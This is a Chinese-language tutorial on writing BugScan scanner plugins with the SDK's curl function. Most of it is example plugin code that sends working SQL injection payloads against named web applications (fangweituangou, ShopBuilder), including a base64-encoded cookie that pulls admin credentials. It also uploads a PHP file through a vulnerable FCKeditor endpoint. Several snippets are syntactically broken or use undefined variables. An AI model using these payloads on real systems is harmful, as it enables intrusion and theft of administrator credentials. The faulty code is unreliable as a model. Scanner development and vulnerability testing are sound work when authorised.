仅仅局限于web层次的,这里的使用的是curl方式进行的请求
根据给出的SDK,一个标准的插件的代码如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Plugin Format
#_Function_ = 插件格式
#_FileName_ = Plugin_Format.py
######建议把之上的东西都带上,以便于辨认######
def assign(service, arg):
if service == "service": # 1. service字符串
return True, arg
def audit(arg):
print "hello, world !"
# 2.主体攻击代码部分
if __name__ == '__main__':
from dummy import *
audit(assign('service', 'http://www.example.com/')[1])
# 3. service字符串
# 4. http://www.example.com/ 字符串
在一些时候我们需要让插件像个正常访问者一样去请求网页
这就需要我们的插件具备HTTP通信的能力,而这里BugScan官方给出了curl类的curl函数,能够更加方便的取获取网页的信息
我们先看一下curl的帮助信息,中文版哦
curl是一个使用纯Python编写的工具,只支持HTTP协议
命令行格式:
curl [-I | -d DATA] [-A USER_AGENT] [-b COOKIE]
[--connect-timeout CONNECT_TIMEOUT] [-e REFERER]
[-H HEADER] [-i] [-m MAX_TIME]
[--max-filesize MAX_FILESIZE] [--mime-type MIME_TYPE]
[-L] [--max-redirs MAX_REDIRS] [-T] [--retry RETRY]
[--retry-delay RETRY_DELAY] [-u USER] [-X REQUEST]
--mime-type 参数表示指定一个MimeType,如果MimeType类型不对,curl将会抛出一个错误(找不到指定字符串类型)
curl函数执行以后会以元组形式返回5个值,我们可以使用5个变量去接收这5个返回值:
code:返回HTTP状态码
head:返回HTTP头
body:返回HTTP内容,即HTML
errcode :返回curl的状态码,代码随后解释
final_url :返回提交的URL
errcode状态码解释:
0 : 返回正常
1 : 不能连接目标URL
2 : 连接超时
3 : 返回异常
4 : 发送异常
5 : 发送数据包过大
6 : 不能确定的主机
7 : 不支持的协议
8 : 参数错误
9 : MimeType错误
一些举例:
code, head, body, ecode, redirect_url = curl.curl('-L http://www.baidu.com')
GET提交:
curl.curl('http://www.abc.com/')
带HEAD提交:
curl.curl('-H http://www.abc.com/')
POST提交:
curl.curl('-d user=abc&pass=ddd http://www.abc.com/')
PUT提交:
curl.curl('T -d "Content to put" http://www.abc.com/')
带Cookie提交:
curl.curl('-b user=abc&pass=ddd http://www.abc.com/')
带Referer提交:
curl.curl('-e http://www.google.com/ http://www.abc.com/')
重定向数据流:
curl.curl('-L http://www.abc.com/')
curl会在获取网页内容的过程中自动去接收cookie,在进行第二次请求的时候将附加到HTTP头,如果想保持cookie为空,请使用curl.reset()
那么现在我们想让我们的插件去像个正常的访问者一样去访问百度,那么我们的代码可以这么写
#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')
什么,你告诉我执行完了啥都没有? 当然啥都没有了,这个只是一个获取并赋值的过程,你见过你定义一个变量之后就返回变量值么? 如果我要显示内容,我们可以用print打印出来
#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')
# 以下显示HTTP状态码
print '---------------code---------------'
print code
# 以下显示HTTP头
print '---------------code---------------'
print head
# 以下显示HTTP主体内容(HTML)
print '---------------code---------------'
print body
# 以下显示curl的状态码
print '-------------err code-------------'
print errcode
# 以下显示curl访问的URL
print '------------final_url-------------'
print final_url
这样我们就获取到了百度的主页内容,当然如果要像浏览器一样显示出来,我们还需要进行HTML解析和渲染,当然curl不具备此功能(一个命令行工具要求那么多作死啊)那么接下来我们带着一些参数去访问
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
if service == "www":
return True, arg
def audit(arg):
payload = 'readnews.asp?id=1 and 1=1'
# 注意这里的payload部分不需要在之前加入/,否则接下来的curl没办法正确识别url
target = arg + payload
code1, head, body1, errcode, final_url = curl.curl('"%s"', % arg)
# 使用格式化输入,保证我们带入的字符串不被当做指令来执行
code2, head, body2, errcode, final_url = curl.curl('"%s"', % target)
#同上
if code1 == 200 and code2 == 200 and body1 == body2 :
# 判断加和不加payload的网页的HTTP状态码是否为200
# 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
from dummy import *
audit(assign('www', 'http://www.test.com/')[1])
这样我们就完成了一个最基本的检测注入漏洞的插件,当然这个插件功能上有些弱
不过这个插件已经能说明一些问题了
木有错,给BugScan写插件就这么简单
这里我们的举例是GET方式的提交,那么POST方式的提交我们可以写成以下的样子
使用POST提交的时候curl的参数为 -d
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
if service == "www":
return True, arg
def audit(arg):
URL = 'check.asp'
POST_Data = 'username=admin&password=admin888' #正常的POST数据
payload = 'username=admin and 1=1&password=admin888' #带有攻击语句的POST数据
target = arg + payload
code1, head, body1, errcode, final_url = curl.curl('"-d %s %s"' % (POST_Data, target))
# 使用-d 参数带入POST数据
# 使用格式化输入,保证我们带入的字符串不被当做指令来执行
code2, head, body2, errcode, final_url = curl.curl('"-d %s %s"', % (payload, target))
#同上
if code1 == 200 and code2 == 200 and body1 == body2 :
# 判断加和不加payload的网页的HTTP状态码是否为200
# 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
from dummy import *
audit(assign('www', 'http://www.test.com/')[1])
我们也可以带着cookie提交
使用cookie提交的参数为 -b
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
if service == "www":
return True, arg
def audit(arg):
URL = 'main.asp'
cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3' #cookie值
target = arg + payload
code, head, body, errcode, final_url = curl.curl('"-b %s %s"' % (POST_Data, target))
# 使用-d 参数带入POST数据
# 使用格式化输入,保证我们带入的字符串不被当做指令来执行
#同上
if code == 200 :
print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
from dummy import *
audit(assign('www', 'http://www.test.com/')[1])
我们也可以同时带着多个参数去请求
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
if service == "www":
return True, arg
def audit(arg):
URL = 'main.asp'
cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3' #cookie值
POST = 'SQL=select username,password from admin'
target = arg + payload
code, head, body, errcode, final_url = curl.curl('"-b %s -d %s %s"' % (cookie, POST, target))
# 使用-b 参数带入cookie数据
# 使用-d 参数带入POST数据
# 使用格式化输入,保证我们带入的字符串不被当做指令来执行
#同上
if code == 200 :
print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
from dummy import *
audit(assign('www', 'http://www.test.com/')[1])
看了手册,我们来写几个简单的插件
1.GET方式请求的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
if service == "fangweituangou":#系统名称
return True, arg
def audit(arg):
payload = "index.php?m=Article&a=showByUname&uname=a%27and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23" #写入的进行请求的payload
target = arg + payload
code, head, res, errcode,finalurl = curl.curl('"%s"', % target) #这里是GET请求
if code == 200:
if "for key 'group_key'" in res: #匹配关键字
security_hole('find sql injection: ' + arg+'index.php')
if __name__ == "__main__":
from dummy import *
audit(assign('fangweituangou', 'http://www.example.com/')[1])
2.POST方式进行的请求
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service, arg):
if service == "fangweituangou":
return True, arg
def audit(arg):
url = arg + "/m.php?m=User&a=doLogin"
payload = "origURL=ghost&password=ghost&email=ghost%27and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
code, head, res, errcode,finalurl = curl.curl('"-d %s %s"', % (payload, url))
#curl target -d data 使用POST的方式传输值
if code == 200:
if res.find("for key 'group_key'") != -1:#匹配关键字
security_hole('find sql injection: ' + url)
if __name__ == '__main__':
from dummy import *
audit(assign('fangweituangou', 'http://www.example.com/')[1])
3.带cookie的请求方式
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
if service == "fangweituangou":
return True, arg
def audit(arg):
payload = 'index.php'
cookie = 'email=czoxOTE6IidBTkQgKFNFTEVDVCAxIEZST00oU0VMRUNUIENPVU5UKCopLENPTkNBVCgoU0VMRUNUIFNVQlNUUklORyhDT05DQVQoYWRtX25hbWUsMHg3YyxhZG1fcHdkLDB4N2MpLDEsNjApIEZST00gdDFfYWRtaW4gTElNSVQgMCwxKSxGTE9PUihSQU5EKDApKjIpKVggRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIEdST1VQIEJZIFgpYSkjIjs=;password=0;'
target = arg + payload
code, head, res, errcode, final_url = curl.curl('-b %s %s' % (cookie,target))
#curl -b cookie target 使用cookie的方式传输值
if code == 200:
if "[message] => MySQL Query Error" in res: #匹配关键字
security_hole('find sql injection: ' + arg+'index.php')
if __name__ == "__main__":
from dummy import *
audit(assign('fangweituangou', 'http://www.example.com/')[1])
4.带HEAD提交:
curl.curl('-H http://www.abc.com/')
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
if service == "ShopBuilder":
return True, arg
def audit(arg):
payload = "X-Forwarded-For:127.0.0.1' and extractvalue(1,concat(0x3a,md5(3.14),0x3a)) and '1"
#自己定义一个X-Forwarded-For
url = arg + 'index.php'
code, head, res, errcode,finalurl = curl.curl("-H \"%s\" %s" % (payload,url))
#curl -H 带头部进行访问
if code == 200 and '4beed3b9c4a886067de0e3a094246f7' in res:
security_hole('find X-Forwarded-For sql inject::'+url)
if __name__ == "__main__":
from dummy import *
audit(assign('ShopBuilder', 'http://www.example.com/')[1])
5.上传的类型
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = 'ontheway'
import re
'''
fckeditor版本 <= 2.4.3
'''
def fck2_4_3(host):
path = "editor/filemanager/upload/php/upload.php?Type=Media"
data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ssdlh.php\"\r\n"
data += "Content-Type: image/jpeg\r\n\r\n"
data += "GIF89a<?php print(md5(521521));?>\r\n"
data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n"
head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
url = host + path
code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url))
#因为上传,我们需要有POST数据的头部,还要有data的内容
if code == 200:
shell = re.findall("eted\(\d+,\"(.+?.php)\"",body)
if shell:
phpurl = util.urljoin(host, '../'+shell[0])
code, head, body, ecode, redirect_url = curl.curl(phpurl)
if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body:
security_hole('upload vulnerable:%s' % phpurl)
else:
security_info('maybe vulnerable:%s' % phpurl)
def assign(service, arg):
if service == "fckeditor":
return True, arg
def audit(arg):
fck2_4_3(arg)